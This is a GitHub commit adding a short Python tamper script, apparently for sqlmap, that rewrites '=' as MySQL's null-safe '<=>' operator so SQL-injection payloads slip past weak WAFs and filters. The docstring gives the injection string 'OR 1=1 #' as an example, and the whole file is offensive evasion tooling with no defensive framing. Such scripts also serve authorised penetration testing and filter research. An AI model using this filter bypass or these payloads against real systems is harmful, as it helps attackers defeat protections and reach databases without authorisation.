Create equal2nullsafequals.py

This commit is contained in:
Anonymous ethc4 2025-07-12 08:12:45 -04:00 committed by GitHub
parent 12594c2dc7
commit d5a95c5a50
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194

View File

@ -0,0 +1,29 @@
#!/usr/bin/env python3
"""
Tamper script to replace '=' with '<=>'
MySQL-only NULL-safe equality operator.
Useful for bypassing filters that block '='.
Author: relunsec
"""
from lib.core.enums import PRIORITY
import re
__priority__ = PRIORITY.LOW
def tamper(payload, **kwargs):
"""
Replaces equal signs (=) with MySQL null-safe equal operator (<=>) Sometime bypass Weak WAF/Filters filter (=) sign
Requirement:
* MySQL
>>> tamper("OR 1=1 #")
'OR 1<=>1 #'
"""
if not payload:
return payload
# Replace '=' with '<=>'
payload = re.sub(r'(?<![><!])=(?!=)', '<=>', payload)
return payload